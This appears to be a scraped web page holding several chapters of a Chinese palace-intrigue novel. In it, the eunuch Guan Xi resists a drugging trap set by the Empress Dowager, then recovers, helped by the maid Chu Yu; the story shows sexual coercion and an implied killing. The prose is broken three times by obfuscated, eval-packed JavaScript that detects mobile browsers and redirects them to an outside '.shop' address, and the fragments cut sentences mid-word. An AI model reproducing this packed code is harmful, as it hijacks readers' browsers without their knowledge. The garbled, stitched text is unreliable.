l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200209|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赃,太糙了。糙得根本经不起推敲!陛下是年轻,可他不傻!他或许一时震怒,或许为了皇家颜面暂时压下,但只要他冷静下来,稍微动动脑子,派人去查皇后宫里今日随行记录,各宫门出入簿册,甚至是这女人进宫的路线……漏洞百出!” 他喘了口气,肺部火烧火燎,话语却越来越清晰锋利,像淬了毒的匕首: “您不就是想拿捏我,让我当您埋在陛下身边的钉子吗?用这种法子……呵呵,我关禧今天把话撂这儿!你要是真让这脏东西碰了我,毁了我最后这点……我自己都嫌恶心的干净,我明天一早,不,我待会儿药性稍微退点,能走路了,我就自己去乾元殿前跪着!我把今晚发生的一切,原原本本,一字不漏,全告诉陛下!包括你刚才说的每一个字!” “我倒要看看,是陛下信你这套漏洞百出的把戏,还是信我这个他亲手提拔、刚刚还在百官面前褒奖过的有用之刀的疯话!看看陛下是更忌惮一个可能对皇后不轨的太监,还是更警惕一个在官中动用禁药、安插妓女、设计构陷他近臣的……母后!” 最后“母后”两个字,他咬得极重,充满了讥诮。 “你大可以现在杀了我灭口。看看陛下会不会追查我的死因?看看我手下那些刚尝到点甜头的番役,会不会因为他们的提督急病暴毙而闭紧嘴巴?看看冯昭仪……看看楚玉,会不会对今夜永寿官异常的人事调动毫无察觉?!” “太后娘娘,我烂命一条,死了也就死了。但您呢。您经营多年的贤德名声,您和陛下之间那本就脆弱的母子情分,经得起这样一场拙劣阴谋的反复查验吗?” “是留着我这把或许还能为你所用、至少不会立刻反噬的刀,还是现在就拼个鱼死网破,让所有人都看清楚这华丽锦袍底下爬满了虱子。您,自己选!” 话音落下,屋内死寂。 只有炭火偶尔的噼啪,和关禧压抑不住的粗重喘息。那女人早已瘫软在地,抖得如秋风中的落叶。太监跪伏着,头埋得极低,恨不得自己是个聋子。 郑书意站在原地,脸上没有任何表情。 烛光在她保养得宜的脸上投下深深浅浅的阴影,让人看不清她眼底真正的情绪。只有那抿紧涂着淡淡口脂的唇角,泄露出一丝极细微的紧绷。 时间仿佛凝固了。 许久,久到关禧被吊着的手臂已经麻木,久到他以为那药力又要将最后一丝清明吞噬。 郑书意忽然叹了一口气。 那叹息很轻,却像一块石头投人凝滞的冰湖,打破了寂静。 她抬手,对那个太监挥了挥,“松绑。放他下来。” 太监如蒙大赦,连忙爬起来,手忙脚乱地去解绳子,将关禧放了下来。关禧脚一软,用手死死撑住地面,不让自己完全倒下,抬起头,警惕地看着郑书意。 “你说得对。这局……是糙了些。” 郑书意顿了顿,像是在斟酌词句,又像是在对自己说:“皇后今夜心神不宁,宴散后说想独自走走醒酒,哀家便准了,只让两个心腹远远跟着。至于这女人……” 她瞥了一眼地上那瘫软的身影,眼神冷漠,“是哀家让人从宫外带进来的,原本想着,若是你识相,便用她解了你的药性,也算拿住你一个实实在在的把柄。若你不识相……便如方才那般,做个见证。” “关禧,你很好。临绝境而不乱,抓要害而反击。这份急智和狠绝,哀家没看错人。今晚之事,到此为止。皇后那里,哀家自会安抚,她不会多说一个字。这个女人,还有外面可能留下的痕迹,哀家也会处理干净。” 她向前走了两步,停在关禧面前,微微俯身,那股馥郁的香气再次笼罩下来。 “你骂哀家那些话……很大胆。”她语气平淡,听不出喜怒,“但有一点你说错了。哀家不是守着名头发霉的老寡妇。” 她直起身,挺直的背脊透着掌权者独有的寂寥,“哀家是这大晟朝的太后。先帝去得早,留下这偌大的江山,和一個羽翼未丰、心思却越来越活的皇帝。外有虎狼环伺,内有蠹虫啃食,宗亲、勋贵、文官、武将……哪一方是省油的灯?皇帝想乾纲独断,哀家何尝不想颐养天年?可这朝局,这宫闱,就像一艘行驶在暗礁从生海域的大船,稍有不慎,便是倾覆之祸。哀家不握紧舵,难道眼睁睁看着它撞得粉碎?” 她看着关禧,目光锐利如昔:“皇帝用你,是看中你的锋利和别无选择。哀家……又何尝不是?只是哀家要的,不只是刀,更是握刀的人心里有杆秤,知道什么时候该斩向何处。” “今晚,算你过关。但关禧,你记住,这条路你走上来了,就没有退下去的可能。皇帝那边,你该怎么做还怎么做。但哀家这里,你需要递什么样的消息,什么时候递……哀家会让人告诉你。” “别再试图挑战哀家的底线。下一次,你不会再有开口的机会。” “带她出去。”她对着那个垂手侍立的太监吩咐,“处理干净。知道该怎么做。” “是!”太监毫不迟疑,立刻上前,架起那瘫软的女人。 女人似乎预感到什么,眼睛惊恐地瞪大,张着嘴想要求饶,却被太监眼疾手快地用一团布巾塞住了嘴,只剩下绝望的“呜呜”声。 她扭动着,桃红色的俗艳衣裙在挣扎中凌乱不堪,被迅速拖出了门外。 门被重新掩上,隔绝了那细微的挣扎声响。 91.第 94 章 永昌六年,正月初二。 天刚蒙蒙亮。 乾元殿东侧那处僻静院落外,一夜未熄的气死风灯在晨风中摇晃,灯罩上蒙了一层薄薄的寒霜。 院门“吱呀”一声被从外面推开,三道身影连滚带爬地冲了进来。 双喜跑在最前,脸色煞白,眼下一片乌青,显然也是一夜未眠。贵平紧随其后,脚步踉跄,石安则落在最后,跑得气喘吁吁,脸上满是惶恐。 他们三人昨夜被请去永寿宫偏殿喝茶,实则软禁了一夜。殿内温暖如春,茶水点心一应俱全,看守的太监嬷嬷也算客气。直到天色微明,才有一个面目陌生的老太监过来,淡淡说了句“差事完了,回去吧”,便将他们打发了出来。 三人一路狂奔回来,心中不祥的预感随着越靠近院落而越强烈。 院门虚掩,值守的太监不知去向。 “督主!”双喜第一个扑到正房门前,声音发颤,抬手想敲门,又不敢用力。 贵平深吸一口气,上前推了推门。门没闩,应手而开。 屋里没有点灯,窗子紧闭,光线昏暗。借着从门缝透进来的微光,三人首先看到的,是地面一片狼藉,倾倒的桌椅,碎裂的瓷器,翻倒的炭盆和泼酒开的灰烬,还有地上几处可疑的水溃。 然后,他们的目光齐刷刷地聚焦在临窗那张软榻上。一个人影蜷缩在那里。 是关禧。 他身上胡乱盖着那床藏青色的绒毯,但大半滑落在地,穿了一件被撕得不成样子的素白中衣,领口大敞,锁骨和胸前肌肤上,隐约可见指甲抓挠出的血痕,露在外面的手臂和小腿上,也有类似的痕迹,在苍白皮肤的映衬下,触目惊心。 他侧躺着,脸朝向内侧,乌黑的长发汗湿地贴在脸颊和脖颈上,凌乱不堪。露出的半边侧脸,惨白如纸,唯有颧骨处泛着不正常的潮红,嘴角破损,凝结着暗红色的血痂。 最让人心惊的是他的呼吸。急促浅薄,每一次吸气都用尽了全力,胸膛剧烈起伏,却又显得格外虚弱。 “督主!”双喜扑到榻前,腿一软跪了下去,伸手想碰触,又怕弄疼他,手悬在半空颤抖着,“督主您怎么了?督主您醒醒啊!” 贵平也抢步上前,探了探关禧的额头。 触手滚烫。 “发烧了!烧得很厉害!”贵平低呼,声音也变了调,他转身对吓呆了的石安喝道:“石安!快去打盆温水来!要干净的!双喜,你守着督主,我去找何掌班,不,直接去请太医!这……这不行!” 石安如梦初醒,连连点头,转身就要往外跑。 “等等……”一个沙哑得几乎听不清的声音,从榻上传来。 三人都是一震,齐齐看向关禧。 关禧艰难地掀开了一点眼皮,目光涣散,没有焦距,他的嘴唇干裂,微微翕动:“不……不许声张……谁都不许……” “可是督主!您烧得这么厉害!”双喜急道。 关禧想摇头,却引来一阵剧烈的咳嗽,他蜷缩起身体,咳得撕心裂肺,苍白的脸上那点潮红更盛,脖颈上的青筋都凸显出来。咳了好一阵,才勉强止住,喘息着,断断续续地说:“水……冰水……” 贵平立刻看向屋子中央,果然有一个铜盆,里面还有小半盆浮着冰碴的水。他冲过去,用手指试了试,刺骨的寒意让他打了个哆嗦。他环顾四周,又看到地上扔着几条湿漉漉,皱巴巴的布巾,瞬间明白了什么,一股寒意从脚底直窜头顶,比那冰水更冷。 “去换干净的井水,越冷越好……”关禧的声音气若游丝,“还有把这里收拾干净,任何痕迹都不能留……” “是……是!奴才明白!”贵平压下心头的惊涛骇浪,对石安道:“石安,你去小厨房,烧些热水备着,再找些干净的布巾。双喜,你扶好督主,我去打井水!” 三人迅速行动起来。贵平冲到院中井边,顾不上寒冷,飞快打上一桶冒着寒气的井水,提到屋内,将那个铜盆仔细刷洗干净,重新注满冰水。他又找出干净的布巾浸透。 双喜则给关禧盖好绒毯,又费力地帮他调整了一下姿势,让他能稍微舒服一点。 关禧紧闭着眼,任由他们摆布,只有紧抿的嘴唇,泄露着他正承受的痛苦。当贵平将浸透冰水的布巾,轻轻敷在他滚烫的额头和脖颈时,他浑身颤了一下,发出一声压抑的喘息,牙关咬得咯咯作响。 冰水的刺激暂时缓解了一丝那股从骨髓里透出来的疼痛,也让身体的寒意和虚弱感更加明显。他感觉自己像被架在火上烤,又被扔进冰窟里浸,冷热交替,五脏六腑都绞在一起,那被过度使用的部位,更是传来一阵阵撕裂般的钝痛和难以启齿的饱胀空虚感,提醒着他昨夜发生的一切不是噩梦。 石安端来了温水和干净的布巾,贵平接过,小心翼翼地想喂关禧喝一点,关禧却别开头,嘴唇紧闭。 “督主,您得喝点水……”双喜带着哭腔劝道。 关禧只是摇头,呼吸愈发急促。他的意识又开始模糊,眼前晃动着破碎的光影。 “楚……”一个模糊的音节从他唇边溢出,随即又被更痛苦的喘息淹没。 贵平的手顿住了,和双喜交换了一个惊骇的眼神。 不知过了多久,天色大亮。宫墙外隐约传来略显稀疏的鞭炮和锣鼓声。 关禧的高烧没有丝毫退去的迹象,愈演愈烈。冰水换了一盆又一盆,他的额头和身体依旧烫得吓人。他开始断断续续地说胡话,声音低哑,听不真切,只偶尔能捕捉到“药……火……杀了……”等零星字眼,有时又会突然挣扎,手臂胡乱挥舞,仿佛要推开什么看不见的东西,力道大得双喜和贵平几乎按不住。 他的脸上,那抹病态的潮红越来越深,嘴唇干裂得渗出血珠。 “不行……这样下去不行!”贵平看着关禧越来越糟的状态,额头急出了汗,“得想办法!至少得弄点药来!” “可督主不让声张……”双喜六神无主。 贵平咬牙,目光落在瑟瑟发抖的石安身上,又看了看气息奄奄的关禧,下了决心:“顾不了那么多了!双喜,你看着督主,用冰水继续敷。石安,你跟我来!我们去……去承华宫!” 石安抬头,眼中满是惊惶:“承承华宫?可是……” “管不了那么多!督主是从承华宫出来的,冯昭仪娘娘那边,总有些常备的药,青黛姑娘……她人也……”贵平话说到一半,打住了,心头一阵发紧,“这是要命的关口,只能去碰碰运气!走!” 两人不敢再耽搁,贵平匆匆嘱咐双喜几句,便拉着石安,一路小跑着出了院门,朝着西六宫承华宫方向奔去。清晨的宫道冷清,只有扫洒的太监宫女零星走动,见到他们这副慌慌张张的样子,都投来诧异的目光。 承华宫的宫门刚刚开启不久,值守太监正打着哈欠,见到两个陌生太监冲过来,吓了一跳,正要阻拦,贵平已飞快地掏出内缉事厂的腰牌,压低声音急促道:“内缉事厂急事,求见青黛姑娘!十万火急!” 值守太监认得那腰牌的形制,又见两人脸色惨白,额角带汗,不似作伪,犹豫了一下:“青黛姑娘她……” “求您通传一声!真是天大的急事!关乎人命!”贵平快要跪下了。 值守太监见他情真意切,又碍于内缉事厂的名头,终是点了点头:“等着!”转身快步朝宫内跑去。 时间一点一滴过去,贵平和石安在寒风中心急如焚。 很快,那抹淡青色的身影出现在宫门内。 楚玉走了出来。她穿着常服,外罩一件藕荷色棉比甲,头发简单绾着,神色是一贯的平静,只是在看到贵平和石安如此狼狈焦急的模样时,那双古井无波的眼眸凝了一下。 “何事?”她声音清冷。 贵平扑通一声跪了下来,也顾不上避讳旁人,“青黛姑娘!求您救救我们督主!督主他……他快不行了!” 楚玉袖中的手指蜷缩了一下,面上却没什么表情:“关提督怎么了?” “高烧!浑身滚烫!说胡话!身上……身上还有伤!”贵平语无伦次,不敢细说昨夜看到的痕迹,“督主不许我们声张,不让请太医!可再这么烧下去……奴才们实在没办法了!求姑娘念在旧日情分,赐些退烧的药材,或者……或者给指条明路吧!”他重重磕下头去。 石安也跟着跪下,不住磕头。 楚玉听着,目光扫过两人惊惶绝望的脸,又抬眼望了望乾元殿东侧的方向。 “等着。”她吐出两个字,转身便走,步履比平日快了些。 贵平和石安不敢起身,只能跪在宫门前,心提到了嗓子眼。 约莫一盏茶后,楚玉去而复返,手里提着一个不起眼的青布包袱。她走到两人面前,将包袱递给贵平,声音压得很低,语速却快:“里面有两包药,一包是退热散,用温水化开,若能喂下去最好,若不能,用布巾蘸了药汁擦拭额头、腋下、手心脚心。另一包是外敷的金疮药,温和些的,用于……皮外伤。” 她顿了顿,看着贵平的眼睛,一字一句道:“回去后,紧闭门户,除了你们三个,不许任何人进出。用过的水,布巾,全部处理掉。若有人问起,只说关提督昨夜酒醉,染了风寒,需要静养。明白吗?” “明白!明白!谢姑娘大恩!”贵平接过包袱,如获至宝,连连道谢。 “快去吧。”楚玉不再多言,转身走回宫门内,身影很快消失在朱红宫墙之后。 贵平和石安不敢耽搁,抱着包袱,又一路狂奔回去。 回到院落,双喜正急得团团转,关禧的情况更糟了,已经开始无意识地痉挛。 贵平立刻按照楚玉的吩咐,紧闭院门。三人手忙脚乱地烧水化药。退热散的气味苦涩,他们试图喂给关禧,可他牙关紧咬,药汁根本灌不进去,反而呛咳出来。 无奈,只得用干净的布巾蘸了药汁,擦拭他滚烫的皮肤。那金疮药,他们看着关禧衣襟下那些抓挠的血痕和可疑的淤青,手抖得厉害,终究没敢去动,只将药包收好。 冰水与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208935|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药汁交替使用,加上或许楚玉给的药确实有些效用,到了午后,关禧的高烧终于开始退去,虽然人昏迷不醒,但呼吸逐渐平稳了些,不再说胡话。 三人轮流守在榻边,不敢有丝毫松懈。 直到夜幕再次降临。 关禧的眼睫颤动了几下,缓缓睁开了眼睛。 视线先是模糊一片,头顶是熟悉的帐幔花纹。身体的疼痛和虚弱如潮水般涌来,尤其是下面,那难以启齿的胀痛和被撕裂过的感觉,让他瞬间回忆起昨夜的一切。 “督主!您醒了!”守在榻边的双喜惊喜地叫出声,眼泪一下子涌了出来。 贵平和石安也连忙凑过来,脸上是如释重负的庆幸。 关禧看着他们,眼神空洞了片刻,才慢慢聚焦。他张了张嘴,喉咙干涩得发不出声音。 贵平连忙端来一直温着的清水,喂他喝了几口。 温水滑过灼痛的喉咙,带来一丝清凉。关禧缓了口气,声音嘶哑:“……什么时辰了?” “酉时三刻了,督主。您昏睡了一天。”贵平答道。 关禧闭了闭眼,再睁开时,眼底已恢复了些许清明,“外面有什么动静?” “没有。孙公公那边派人来问过一次,奴才说您昨夜酒醉,染了风寒,需要歇息几日。孙公公没多问,只让您好生养着。”贵平低声回禀,“厂里何掌班也来请示过年节期间轮值安排,奴才也打发走了。” 关禧“嗯”了一声,目光缓缓扫过屋内。狼藉已经被彻底清理干净,地面光洁,仿佛昨夜那屈辱从未发生。 “你们,”他看向三个满脸担忧的小太监,“昨晚在哪里?” 双喜和贵平对视一眼,贵平低声回答:“奴才三人昨夜被永寿宫的公公请去喝茶,在偏殿待了一夜,今早才放回来。” 关禧眼中掠过一丝了然,他没再追问,疲惫地合上眼:“我饿了。” “有!有粥!一直温着呢!”双喜连忙道,跑去小厨房端来一碗熬得稀烂的白米粥。 关禧就着贵平的手,慢慢喝了小半碗,便摇头不肯再喝。他需要食物恢复体力,可胃里翻腾得厉害。 “督主,再喝点吧……”双喜恳求道。 关禧摇摇头,重新躺下,望着帐顶,“药哪来的?” 贵平犹豫了一下,还是照实说了:“是……奴才和石安,今早去承华宫,求了青黛姑娘。姑娘给了退热散和金疮药。” 关禧的指尖颤抖了一下。 楚玉…… “她说了什么?” “姑娘吩咐我们紧闭门户,清理痕迹,对外只说是酒醉风寒。”贵平顿了顿,补充道,“姑娘说,用的水,布巾,都要处理掉。” 关禧闭上了眼睛。楚玉……她猜到了。或许没有猜到全部,但一定猜到昨夜之事绝不简单,猜到他有难言之隐,猜到需要掩盖。 这份默契,这份在绝境中依旧冷静给予的援手,像一根细丝,吊着他即将坠入深渊的心。可同时,昨夜那不堪,被强迫暴露的丑态,那在郑书意面前彻底的溃败,又让他觉得无颜去想她。 两种情绪撕扯着他,让刚刚退烧的身体又泛起一阵寒意。 “督主……”贵平看着他苍白的脸和紧闭的眼,担忧地唤了一声。 “我没事。”关禧重新睁开眼,眼底已是一片沉沉的暗色,“你们出去吧。我想一个人静静。” “可是……” “出去。”关禧的语气不容置疑。 双喜三人不敢违逆,只得躬身退了出去,轻轻带上了门。 屋内只剩下关禧一人。 炭火燃烧,发出微弱的光和热。 春风一度的药力终于彻底退去,留下的是高烧后的极度虚弱和被反复刺激后的钝痛,他尝试着动了动腿,牵动伤处,疼得闷哼一声,额角渗出冷汗。 更可怕的是心理上的冲击。郑书意的脸,那审视的目光,那羞辱性的触碰和话语,像烙印一样烫在他的身上。他觉得自己像一块被反复捶打,浸透脏水的破布,再也洗不干净了。 而楚玉……他想起她沉静的眼,想起那夜风雪值房中她清冷的气息和炽热的吻,想起她给的药。她是这冰冷宫墙里,他唯一能抓住的一点真实温度,也是他此刻最不敢面对的人。 从今往后,有些东西不一样了。他和郑书意之间,已经撕破了那层虚伪的温情面纱,彻底摆在了你死我活的棋盘上。而他和楚玉之间,也横亘了一道名为“昨夜”的深渊,里面是他最不堪,最想掩埋的污秽。 他必须尽快好起来。内缉事厂不能乱,皇帝的信任不能丢,楚玉……他也要保住。 还有郑书意。那个心狠手辣,掌控欲极强的女人。她说了,以后会让他做事。下一次,又会是什么? 关禧望着帐顶,眼神渐渐从痛苦迷茫,凝聚成锐利。 他不能倒在这里。 他得活下去。 活得比所有人都好。 然后,把昨夜加诸于他身上的,百倍奉还。 92.第 95 章 承华宫。 浴堂,水汽氤氲。 汉白玉砌成的浴池内,热水蒸腾起袅袅白雾,混合着安神养颜的草药香气,在烛光摇曳中弥漫开来。池壁边缘镶嵌的暖玉在热水浸泡下泛着温润的光泽,几瓣新摘的腊梅花漂浮在水面,随波轻漾。 冯媛浸在池中,乌黑长发如云般散开,浮在水面上。她闭着眼,背靠池壁,肩颈线条优美,肌肤被热水熏蒸出淡淡的粉色。楚玉跪坐在池边,身着素净的棉布侍女服,袖口挽至肘部,正用一柄长柄木瓢,舀起热水,浇在冯媛光滑的肩背上。 水声淅沥。 烛光透过水汽,在楚玉脸上投下朦胧的光影。她的动作平稳,舀水,浇淋,再用柔软布巾轻轻擦拭。可若是细看,便能发现她眼神有些飘忽,舀水时瓢沿碰触池壁的声响比平日重了半分,浇水的节奏也偶有迟滞。 “楚玉。”冯媛忽然开口,声音在空旷的浴堂里显得格外清晰,带着水汽浸润后的温软,又有一丝不易察觉的锐利。 楚玉手中木瓢一颤,热水洒出几滴,落在池边青砖上。 “娘娘?”她垂眸,声音平静如常。 “你今日……”冯媛缓缓睁开眼,侧过头,目光落在楚玉低垂的侧脸上,“心神不宁。从早上贵平他们来过后,便是如此。” 楚玉指尖收紧,“奴婢没有。只是年节事杂,思虑多了些。” “是吗?”冯媛笑了笑,那笑意未达眼底。她转过身,面对楚玉,上半身露出水面,水珠顺着锁骨滑落。烛光下,她清丽的脸上带着沐浴后的红晕,眼神清明,“你在我身边多少年了,楚玉?你的心思,瞒得过别人,瞒不过我。” 楚玉沉默,更专注地擦拭着冯媛的手臂,动作轻柔。 冯媛也不逼她,重新靠回池壁,目光望向蒸腾的水雾,像是自言自语,又像是说给楚玉听:“关禧那小子……倒是命大。早上那样子,高烧濒死,竟也能挺过来。你给的药,怕是起了大用。” 楚玉声音更轻:“奴婢只是尽本分。他毕竟曾是从承华宫出去的人。” “本分?”冯媛重复这个词,语气有些玩味,“楚玉,你在我身边这些年,教导过的人不止他一个。可我怎么记得,你对旁人,从未如此尽本分过?” 她顿了顿,声音压低了些,“连身子都给了出去……如今,连心也要给出去吗?” 这话好似惊雷,在楚玉耳畔炸开。 她抬起头,看向冯媛。那张她仰望,追随了多年的脸,此刻在烛光水汽中美得不真实,可说出的话,却像一把冰冷的锥子,狠狠刺进她心底最隐秘的角落。 恶心。 一股生理性的恶心翻涌上来。冯媛轻描淡写提起的教导,那些她不得不为之的,将一个个鲜活少年变成合格玩物的过程,那些深夜里的呕吐和自厌……像陈年的腐水,突然被搅动,污浊的气味冲上喉头。 而更让她心脏抽痛的,是冯媛话里话外,将她对关禧那点连自己都理不清的情愫,与那些不堪的教导相提并论。 她死死咬住下唇,几乎要咬出血来,才压下那股翻腾的恶心和脱口而出的辩驳。她不能。不能对冯媛流露半分真实情绪,尤其是那份被她深埋心底,绝不容于世的倾慕。 “娘娘说笑了。”楚玉重新低下头,声音平板无波,“奴婢只是觉得,关禧……他与旁人不同。够聪明,也够狠。对娘娘日后或许还有用。如今他攀上高枝,若因一场急病折了,未免可惜。” “有用?”冯媛轻笑一声,那笑声里带着淡淡的嘲弄,不知是对楚玉,还是对自己,“是啊,有用。这宫里,谁对谁不是因着有用二字?” 她不再看楚玉,仰头靠在池边,闭上眼,像是疲惫了,“你既担心他,便去看看吧。亥时已过,宫门虽下钥,但你持我的对牌,无人会拦。今晚不必你伺候了。” 楚玉跪在原地,没有动。 水汽模糊了视线,也模糊了冯媛的轮廓。她看着这个她愿意付出一切的女人,此刻却觉得两人之间隔着一层永远无法穿透的纱。 “去吧。”冯媛又催促了一声,声音里听不出情绪,“趁我还准你去。” 楚玉缓缓起身,膝盖因久跪而有些麻木。她对着冯媛的背影,深深一福,然后转身,步履平稳地退出浴堂。 直到那淡青色的身影消失在门外的夜色中,冯媛才睁开眼。浴堂里只剩下她一人,水声寂寞。她抬手,看着指尖被泡得发皱的皮肤,眼神空茫。 “关禧……”她低低念着这个名字,半晌,叹了一口气。 * 楚玉走出浴堂,夜风扑面,带着未化的残雪的寒意,瞬间吹散了周身的水汽和那令人窒闷的草药香。 她先回到自己那间小小的值房,换下被水汽濡湿的侍女服,穿上厚实的棉袍,外罩一件灰鼠皮斗篷。又从柜子深处取出一个小巧的鎏金手炉,仔细填好银霜炭,捂在手中。 指尖冰凉,颤抖。 冯媛的话还在耳边回响,那些刻意压下的恶心感和心底翻涌的酸楚,才细细密密地泛上来。她走到窗前,推开一条缝,望着外面沉沉的夜色和远处宫殿零星灯火。 关禧…… 她想起早上贵平那惊慌失措的脸,想起自己匆匆备药时指尖的微颤,想起一整天萦绕心头挥之不去的焦灼。那不仅仅是对一个有用棋子的担忧。她骗不了自己。 可是冯媛点破了。用那种轻描淡写,却将一切归于教导与利用的口吻。这让她感到羞辱,不仅是对她感情的羞辱,更是对她这些年挣扎求存,心底仅存那点干净念想的践踏。 但她没有选择。 就像关禧没有选择。 在这座宫里,谁有选择? 楚玉闭了闭眼,再睁开时,眼底已是一片沉静的寒意。她拢紧斗篷,拿起冯媛的对牌,推开值房的门,踏入了夜色之中。 通往乾元殿东侧的宫道寂静无人。亥时已过,各处宫门落锁,只有巡夜的侍卫偶尔走过,甲胄与兵器碰撞发出沉闷的声响。楚玉手中的对牌在宫灯下泛起暗沉的光泽,守门的太监查验后,放行。 越靠近那处院落,她的脚步越慢。 院门紧闭,里面透出微弱的光。她站在门前,深吸一口气,抬手,叩响了门环。 “笃、笃。” 声音在寂静的夜里格外清晰。 片刻,门内传来急促的脚步声,门被拉开一条缝,双喜警惕的脸露了出来。看到是楚玉,他明显松了口气,连忙将门开大些。 “青黛姑娘!”双喜压低声音,侧身让她进来,又迅速关上门,“您怎么来了?” “我来看看。”楚玉声音很轻,目光已投向正房方向,“他怎么样了?” “烧退了,午后醒了一次,喝了点粥,又睡下了。这会儿刚醒不久,贵平在里头伺候着。”双喜说着,引着她往正房走。 正房东厢内,烛光比院外看起来明亮些。炭盆烧得正旺,屋内暖意融融,也弥漫着一股淡淡的药味和……一丝颓靡气息。 关禧半靠在炕头,身上盖着厚被,只穿着一件松垮的白色中衣,领口微敞,露出纤细锁骨和一小片苍白的胸膛。他的脸色很差,是一种大病初愈后的虚弱苍白,眼底有浓重的青影,嘴唇干裂,那双凤眼,在看到她走进来的瞬间,亮了一下,随即又迅速黯淡下去。 贵平正端着水碗,喂他喝水,见楚玉进来,连忙起身行礼。 “你出去吧。”楚玉对贵平道,声音平静。 贵平看了看关禧,见他微微颔首,便放下水碗,和双喜一起退了出去,带上了门。 屋内只剩下他们两人。 烛火跳跃,在两人之间投下晃动的光影。 楚玉走到炕边,手炉放在一旁的小几上,没有坐下,只是站着,垂眸看着他。目光从他苍白的脸,滑过脖颈,在那中衣领口隐约可见的淡红色抓痕上停留了一瞬,又迅速移开。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216771|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “还能喘气,看来是死不了了。”她开口,语气是一贯的平淡,甚至带着点惯常的冷峭。 关禧扯了扯嘴角,想笑,却只牵动干裂的唇,渗出一丝血珠,“托你的福。药……多谢。” 楚玉没接这话,只是问:“怎么回事?” 关禧沉默。昨夜不堪的画面在脑中翻滚,那些他恨不得永远埋藏的秘密,在楚玉清澈的目光下,无所遁形,他别开脸,喉咙滚动了几下,才哑声道:“没事。喝多了,染了风寒。” “风寒?”楚玉的声音陡然转冷,她上前一步,俯身,指尖挑开了他中衣的领口,更多暧昧的红痕和淤青暴露在烛光下,“风寒会留下这种痕迹?关禧,你当我是三岁孩童?” 关禧浑身一颤,像是被烫到,向后缩,一把攥住了她的手腕。 “别碰!”他低吼,眼神里充满了惊惶,“我的事不用你管!” 楚玉任由他攥着,手腕上传来的力道和颤抖,清晰地传递着他的情绪。 “谁干的?”她问,声音很轻,“郑书意?” 关禧瞳孔骤缩,像是被这个名字刺穿了最后一道防线。他松开她的手腕,像甩开什么脏东西,双手捂住脸,肩膀无法抑制地颤抖起来。 无声的颤抖,比嚎啕大哭更让人心惊。 楚玉站在原地,看着他蜷缩颤抖的身影,心口像是被什么东西狠狠攥了一下。她想起冯媛的话,想起那些教导,想起自己也曾是这宫廷黑暗的一部分。而眼前这个少年,他挣扎,他反抗,他试图抓住一点光亮,却终究被更深的黑暗吞噬,玷污。 她本该冷静,本该权衡利弊,本该像冯媛说的那样,只考虑他是否有用。 可是…… 她在炕边坐下,犹豫了一下,手最终落在关禧颤抖的脊背上。 隔着单薄的中衣,能清晰感觉到他骨头的轮廓和皮肤的滚烫。她的手掌带着手炉暖过的温热,一下,一下,拍抚。 安抚意味。 关禧的颤抖渐渐停歇。他从指缝中抬起眼,透过朦胧的泪光,看向楚玉。她脸上没什么表情,还是那副清冷模样,可拍抚他脊背的动作,那么轻,那么缓。 “楚玉……” “嗯。”楚玉应了一声,手下没停,“我在。” 简单的两个字,像暖流,注入他冰封绝望的心底,他慢慢放下手,露出那张泪痕狼藉的脸。 “很脏……”他喃喃道,眼泪又涌出来,“我是不是……很脏?” 楚玉拍抚的动作顿住了。 “脏的不是你。”她开口,声音很低,也异常清晰,每个字都像从心底最深处挖出来,“是这地方。是把你、把我、把所有人都变成鬼的这个地方。” 她抬起另一只手,用袖口内侧相对干净柔软的布料,擦去他脸上的泪,“关禧,看着我。” 关禧抬起湿漉漉的眼。 “活下去。”楚玉轻声细语,一字一句,“像你说的那样,活得比所有人都好。把加诸你身上的,百倍讨回来。这才是你该做的事。至于别的……等你真正站到足够高的地方,再说。” 关禧怔怔地看着她,看着她被烛光勾勒出柔和弧度的侧脸,看着她轻抿的唇和低垂的眼睫。心底那疯狂滋生的藤蔓,那名为依赖眷恋,或许还有其他更复杂情感的东西,在这一刻,悄然缠绕得更紧。 他忽然伸出手,抓住了她擦拭他眼泪的那只手腕,不是之前的凶狠。 “楚玉……” 楚玉身体一僵。 “今晚……就今晚……陪陪我,行吗?我……我怕做噩梦。” 他太懂得如何示弱,如何利用自己此刻的狼狈和脆弱,来抓住这根唯一能救他出深渊的浮木。 楚玉沉默了很久。 久到关禧以为她会像往常一样,冷静地抽回手,用疏离的话语划清界限。 可她最终,只是叹了口气。 “我去给你倒点水。” 93.第 96 章 楚玉端着温热的茶水回到炕边时,关禧正侧着脸,出神地望着窗纸上摇晃的树影。昏黄的烛光从另一边斜斜照过来,映亮了他左脸颊上那几道红肿泛着血丝的细细抓痕,正是她先前粗粗一瞥未曾留意的地方。 伤痕不长,却位置刁钻,从颧骨斜斜划向耳际,像是被什么尖锐之物刻意刮过。在他苍白皮肤上,显得格外刺目。 楚玉的脚步顿住,端着茶杯的手指收紧,骨节泛白。 茶杯放在炕边小几上,发出轻微的磕碰声。然后,她的手伸了出去,指尖触上了那道最长的伤痕边缘。 关禧浑身一颤,像是从梦中惊醒,倏然转回头。 四目相对。 